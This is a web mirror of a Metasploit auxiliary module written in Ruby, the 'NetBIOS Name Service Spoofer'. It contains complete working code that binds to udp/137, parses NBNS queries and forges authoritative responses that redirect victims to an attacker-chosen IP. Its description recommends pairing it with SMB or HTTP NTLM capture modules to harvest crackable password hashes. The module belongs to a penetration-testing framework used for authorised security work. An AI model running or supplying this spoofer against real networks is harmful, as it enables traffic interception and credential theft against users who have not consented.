CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/nbns/nbns_response.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Capture
8
9
attr_accessor :sock, :thread
10
11
12
def initialize
13
super(
14
'Name' => 'NetBIOS Name Service Spoofer',
15
'Description' => %q{
16
This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests
17
sent to the local subnet's broadcast address and spoof a response, redirecting the querying
18
machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or
19
auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable hashes on
20
common networks.
21
22
This module must be run as root and will bind to udp/137 on all interfaces.
23
},
24
'Author' => [ 'Tim Medin <tim[at]securitywhole.com>' ],
25
'License' => MSF_LICENSE,
26
'References' =>
27
[
28
[ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]
29
],
30
'Actions' =>
31
[
32
[ 'Service', 'Description' => 'Run NBNS spoofing service' ]
33
],
34
'PassiveActions' =>
35
[
36
'Service'
37
],
38
'DefaultAction' => 'Service'
39
)
40
41
register_options([
42
OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", "127.0.0.1"]),
43
OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
44
])
45
46
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
47
self.thread = nil
48
self.sock = nil
49
end
50
51
def dispatch_request(packet, rhost, src_port)
52
rhost = ::IPAddr.new(rhost)
53
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
54
# addr like "::ffff:192.168.0.1" when the interface we're listening
55
# on has an IPv6 address. Convert it to just the v4 addr
56
if rhost.ipv4_mapped?
57
rhost = rhost.native
58
end
59
60
# Convert to string
61
rhost = rhost.to_s
62
63
spoof = ::IPAddr.new(datastore['SPOOFIP'])
64
65
return if packet.length == 0
66
67
nbnsq_transid = packet[0..1]
68
nbnsq_flags = packet[2..3]
69
nbnsq_questions = packet[4..5]
70
nbnsq_answerrr = packet[6..7]
71
nbnsq_authorityrr = packet[8..9]
72
nbnsq_additionalrr = packet[10..11]
73
nbnsq_name = packet[12..45]
74
decoded = ""
75
nbnsq_name.slice(1..-2).each_byte do |c|
76
decoded << "#{(c - 65).to_s(16)}"
77
end
78
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
79
nbnsq_type = packet[46..47]
80
nbnsq_class = packet[48..49]
81
82
return unless nbnsq_decodedname =~ /#{datastore['REGEX'].source}/i
83
84
print_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
85
86
vprint_status("transid: #{nbnsq_transid.unpack('H4')}")
87
vprint_status("tlags: #{nbnsq_flags.unpack('B16')}")
88
vprint_status("questions: #{nbnsq_questions.unpack('n')}")
89
vprint_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
90
vprint_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
91
vprint_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
92
vprint_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
93
vprint_status("full name: #{nbnsq_name.slice(1..-2)}")
94
vprint_status("decoded: #{decoded}")
95
vprint_status("decoded name: #{nbnsq_decodedname}")
96
vprint_status("type: #{nbnsq_type.unpack('n')}")
97
vprint_status("class: #{nbnsq_class.unpack('n')}")
98
99
# time to build a response packet - Oh YEAH!
100
response = nbnsq_transid +
101
"\x85\x00" + # Flags = response + authoritative + recursion desired +
102
"\x00\x00" + # Questions = 0
103
"\x00\x01" + # Answer RRs = 1
104
"\x00\x00" + # Authority RRs = 0
105
"\x00\x00" + # Additional RRs = 0
106
nbnsq_name + # original query name
107
nbnsq_type + # Type = NB ...whatever that means
108
nbnsq_class+ # Class = IN
109
"\x00\x04\x93\xe0" + # TTL = a long ass time
110
"\x00\x06" + # Datalength = 6
111
"\x00\x00" + # Flags B-node, unique = whatever that means
112
spoof.hton
113
114
pkt = PacketFu::UDPPacket.new
115
pkt.ip_saddr = Rex::Socket.source_address(rhost)
116
pkt.ip_daddr = rhost
117
pkt.ip_ttl = 255
118
pkt.udp_sport = 137
119
pkt.udp_dport = src_port
120
pkt.payload = response
121
pkt.recalc
122
123
capture_sendto(pkt, rhost)
124
end
125
126
def monitor_socket
127
while true
128
rds = [self.sock]
129
wds = []
130
eds = [self.sock]
131
132
r,_,_ = ::IO.select(rds,wds,eds,0.25)
133
if (r != nil and r[0] == self.sock)
134
packet, host, port = self.sock.recvfrom(65535)
135
dispatch_request(packet, host, port)
136
end
137
end
138
end
139
140
def run
141
check_pcaprub_loaded()
142
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
143
144
# Avoid receiving extraneous traffic on our send socket
145
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
146
147
self.sock = Rex::Socket.create_udp(
148
'LocalHost' => "0.0.0.0",
149
'LocalPort' => 137,
150
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
151
)
152
add_socket(self.sock)
153
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
154
155
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
156
begin
157
monitor_socket
158
rescue ::Interrupt
159
raise $!
160
rescue ::Exception
161
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
162
end
163
}
164
165
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX'].source}\" ...")
166
167
self.thread.join
168
print_status("NBNS Monitor thread exited...")
169
end
170
171
def cleanup
172
if self.thread and self.thread.alive?
173
self.thread.kill
174
self.thread = nil
175
end
176
self.sock.close
177
close_pcap
178
end
179
end
180
181